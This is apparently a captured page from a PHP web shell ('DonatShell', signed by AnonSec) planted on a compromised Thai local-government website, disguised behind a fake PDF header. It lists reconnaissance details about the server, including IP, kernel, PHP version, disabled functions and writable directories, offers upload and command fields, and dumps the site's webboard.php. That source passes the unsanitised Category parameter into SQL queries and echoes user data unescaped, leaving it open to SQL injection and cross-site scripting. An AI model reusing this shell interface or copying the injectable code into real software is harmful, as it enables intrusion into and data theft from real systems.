%PDF-1.5 % ºaâÚÎΞ-ÌE1�ØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : dl,eval,exec,mail,passthru,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_open,putenv,shell_exec,show_source,system
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moungngam/domains/moungngam.go.th/public_html/webboard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/moungngam/domains/moungngam.go.th/public_html/webboard//webboard.php
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><!-- InstanceBegin template="/Templates/template_a.dwt.php" codeOutsideHTMLIsLocked="false" -->                             
<head>
<!-- InstanceBeginEditable name="doctitle" -->

<!-- InstanceEndEditable --> 
<title>ͧ¤ì¡ÒúÃÔËÒÃÊèǹµÓºÅÁèǧ§ÒÁ µÓºÅÁèǧ§ÒÁ ÍÓàÀÍàÊÒäËé ¨Ñ§ËÇÑ´ÊÃкØÃÕ 18160 : www.moungngam.go.th</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../styles.css" rel="stylesheet" type="text/css">
<!-- InstanceBeginEditable name="head" -->
<script type="text/JavaScript">
<!--
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}
//-->
</script>
<!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
<!--



function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}
//-->
</script>
<script type="text/javascript" language="JavaScript1.2" src="../Templates/stm31.js"></script>
<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	background-color: #00CCFF;	
}
.style2 {color: #CC6633}
-->
</style></head>
           
<body background="../images/tem_b1.jpg" style="background-repeat:no-repeat; background-position:top">
<div align="center" >
  <table width="980" border="0" cellpadding="0" cellspacing="0">
    <tr>
      <td valign="top"><div align="center">                        
        <table width="980" border="0" cellpadding="0" cellspacing="0">
          <tr>
            <td valign="top"><div align="center">
              <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="980" height="650">
                <param name="movie" value="../images/head.swf">
                <param name="quality" value="high">
                <embed src="../images/head.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="980" height="650"></embed>
              </object>
            </div></td>
          </tr>
        </table>
      </div></td>
    </tr>

    <tr>
      <td>
    <tr>
          <td valign="top"><div align="center">
            <table width="980" border="0" cellpadding="0" cellspacing="0">
              
              <tr>
                <td height="200" valign="top">&nbsp;</td>
              </tr>
              <tr>
                <td height="2500" valign="top"><div align="center"><!-- InstanceBeginEditable name="EditRegion3" -->

<?php
ob_start();

include("config.inc.php");

/* =========================
   CONNECT DATABASE
========================= */

mysql_connect($host,$user_db,$passwd_db) or die(mysql_error());

mysql_select_db($dbname);

mysql_query("SET NAMES tis620");

/* =========================
   GET PARAMETER
========================= */

$Category = isset($_GET["Category"]) ? $_GET["Category"] : "board";

$page = isset($_GET["page"]) ? intval($_GET["page"]) : 1;

if($page <= 0){
    $page = 1;
}

/* =========================
   PAGINATION
========================= */

$list_page = 10;

$goto = ($page-1)*$list_page;

/* =========================
   CATEGORY
========================= */

$sql_cat = "SELECT *
            FROM webboard_category
            WHERE cat_name='$Category'";

$result_cat = mysql_query($sql_cat);

$row_cat = mysql_fetch_array($result_cat);

$cat_title = $row_cat["cat_title"];

/* =========================
   TOTAL PAGE
========================= */

$sql_total = "SELECT No
              FROM webboard_data
              WHERE Category='$Category'
              AND pst='0'";

$result_total = mysql_query($sql_total);

$total = mysql_num_rows($result_total);

$totalpage = ceil($total/$list_page);

/* =========================
   GET DATA
========================= */

$sql = "SELECT *
        FROM webboard_data
        WHERE Category='$Category'
        AND pst='0'
        ORDER BY No DESC
        LIMIT $goto,$list_page";

$result = mysql_query($sql);

?>



<title><?php echo $cat_title; ?></title>

<style>

body{
    margin:0;
    padding:0;

}

/* ========================= */

.wrapper{
    width:95%;
    margin:20px auto;
}

/* ========================= */

.top-title{
    background:linear-gradient(135deg,#0056b3,#007bff);
    color:#ffffff;
    padding:18px;
    border-radius:12px;
    text-align:center;
    font-size:26px;
    font-weight:bold;
    margin-bottom:20px;
}

/* ========================= */

.top-menu{
    margin-bottom:20px;
    text-align:right;
}

.top-menu a{
    display:inline-block;
    background:#ff6600;
    color:#ffffff;
    padding:10px 18px;
    text-decoration:none;
    border-radius:8px;
    font-size:14px;
}

.top-menu a:hover{
    background:#e65100;
}

/* ========================= */

.board-card{
    background:#ffffff;
    border-radius:14px;
    overflow:hidden;
    margin-bottom:25px;
    box-shadow:0 2px 10px rgba(0,0,0,0.08);
    border:1px solid #e6e6e6;
}

/* ========================= */

.question-box{
    background:#eef5ff;
    padding:20px;
    border-bottom:1px solid #e5e5e5;
}

/* ========================= */

.question-title{
    font-size:22px;
    font-weight:bold;
    margin-bottom:12px;
}

.question-title a{
    color:#0056b3;
    text-decoration:none;
}

.question-title a:hover{
    color:#ff6600;
}

/* ========================= */

.question-detail{
    font-size:14px;
    color:#666666;
    line-height:1.8;
}

/* ========================= */

.answer-section{
    padding:20px;
    background:#fcfcfc;
}

/* ========================= */

.answer-title{
    font-size:18px;
    font-weight:bold;
    color:#00804d;
    margin-bottom:15px;
}

/* ========================= */

.answer-box{
    background:#ffffff;
    border-left:5px solid #00804d;
    border-radius:10px;
    padding:18px;
    line-height:1.9;
    color:#444444;
}

/* ========================= */

.answer-user{
    font-size:18px;
    font-weight:bold;
    color:#333333;
    margin-bottom:15px;
}

/* ========================= */

.answer-date{
    margin-top:15px;
    color:#888888;
    font-size:12px;
}

/* ========================= */

.badge{
    display:inline-block;
    padding:4px 10px;
    border-radius:20px;
    color:#ffffff;
    font-size:12px;
    margin-left:5px;
}

.hot{
    background:#dc3545;
}

.new{
    background:#28a745;
}

/* ========================= */

.no-answer{
    color:#999999;
    font-style:italic;
}

/* ========================= */

.pagination{
    text-align:center;
    margin-top:30px;
}

/* ========================= */

.pagination a{
    display:inline-block;
    padding:8px 14px;
    margin:3px;
    background:#ffffff;
    border:1px solid #cccccc;
    border-radius:6px;
    text-decoration:none;
    color:#333333;
}

.pagination a:hover{
    background:#0056b3;
    color:#ffffff;
}

/* ========================= */

.active-page{
    background:#0056b3 !important;
    color:#ffffff !important;
}

/* ========================= */

.answer-image{
    margin-top:20px;
    text-align:center;
}

.answer-image img{
    max-width:100%;
    border-radius:10px;
    border:1px solid #dddddd;
    padding:5px;
}

/* ========================= */

@media screen and (max-width:768px){

    .question-title{
        font-size:18px;
    }

    .top-title{
        font-size:22px;
    }

}

</style>



<div class="wrapper">

<div class="top-title">

<?php echo $cat_title; ?>

</div>

<div class="top-menu">

<a href="postq.php?Category=<?php echo $Category; ?>">

+ µÑ駤ӶÒÁãËÁè

</a>

</div>

<?php

while($row = mysql_fetch_array($result)){

$No         = $row["No"];
$Question   = $row["Question"];
$Name       = $row["Name"];
$Date       = $row["Date"];
$Reply      = $row["Reply"];
$pageview   = $row["pageview"];

?>

<div class="board-card">

<!-- =========================
     QUESTION
========================= -->

<div class="question-box">

<div class="question-title">

<a href="show.php?Category=<?php echo $Category; ?>&No=<?php echo $No; ?>">

<?php echo $Question; ?>

</a>

<?php

if($Reply >= 10){
    echo '<span class="badge hot">HOT</span>';
}

if(substr($Date,0,10)==date("Y-m-d")){
    echo '<span class="badge new">NEW</span>';
}

?>

</div>

<div class="question-detail">

¼ÙéµÑ駤ӶÒÁ :
<strong><?php echo $Name; ?></strong>

&nbsp;&nbsp;|&nbsp;&nbsp;

Çѹ·Õè :
<?php echo $Date; ?>

&nbsp;&nbsp;|&nbsp;&nbsp;

à¢éÒªÁ :
<strong><?php echo $pageview; ?></strong>

&nbsp;&nbsp;|&nbsp;&nbsp;

¤ÓµÍº :
<strong><?php echo $Reply; ?></strong>

</div>

</div>

<!-- =========================
     ANSWER
========================= -->

<div class="answer-section">

<div class="answer-title">

¤ÓµÍºÅèÒÊØ´

</div>

<?php

$sql_ans = "SELECT *
            FROM webboard_ans
            WHERE QuestionNo='$No'
            ORDER BY No DESC
            LIMIT 1";

$result_ans = mysql_query($sql_ans);

if($result_ans && mysql_num_rows($result_ans)>0){

    $ans = mysql_fetch_array($result_ans);

    $ans_name  = $ans["Name"];
    $ans_msg   = $ans["Msg"];
    $ans_date  = $ans["Date"];
    $ans_photo = $ans["nphoto"];

?>

<div class="answer-box">

<div class="answer-user">

¼ÙéµÍº :
<?php echo $ans_name; ?>

</div>

<div>

<?php echo nl2br($ans_msg); ?>

</div>

<?php

if($ans_photo!=""){

?>

<div class="answer-image">

<img src="<?php echo $path; ?>/<?php echo $ans_photo; ?>">

</div>

<?php } ?>

<div class="answer-date">

Çѹ·ÕèµÍº :
<?php echo $ans_date; ?>

</div>

</div>

<?php }else{ ?>

<div class="answer-box no-answer">

ÂѧäÁèÁÕ¼ÙéµÍº¤Ó¶ÒÁ

</div>

<?php } ?>

</div>

</div>

<?php } ?>

<!-- =========================
     PAGINATION
========================= -->

<div class="pagination">

<?php

for($i=1;$i<=$totalpage;$i++){

    if($i==$page){

        echo '<a class="active-page">'.$i.'</a>';

    }else{

?>

<a href="webboard.php?Category=<?php echo $Category; ?>&page=<?php echo $i; ?>">

<?php echo $i; ?>

</a>

<?php

    }

}

?>

</div>

</div>


<?php

mysql_close();

ob_end_flush();

?>



<!-- InstanceEndEditable --></div></td>
              </tr>
            </table>
          </div></td>
    </tr>
        <tr>
      <td height="423" valign="top"><table width="980" border="0" cellspacing="0" cellpadding="0">
              
              <tr>
                <td height="300" valign="top" background="../images/foot.jpg"><div align="center" class="footer">
                  <p>&nbsp;</p>
                  <p>&nbsp;</p>
                </div></td>
              </tr>                
  
            </table></td>
    </tr>
  </table>
      </div>

</body>
<!-- InstanceEnd --></html>

Anon7 - 2022
AnonSec Team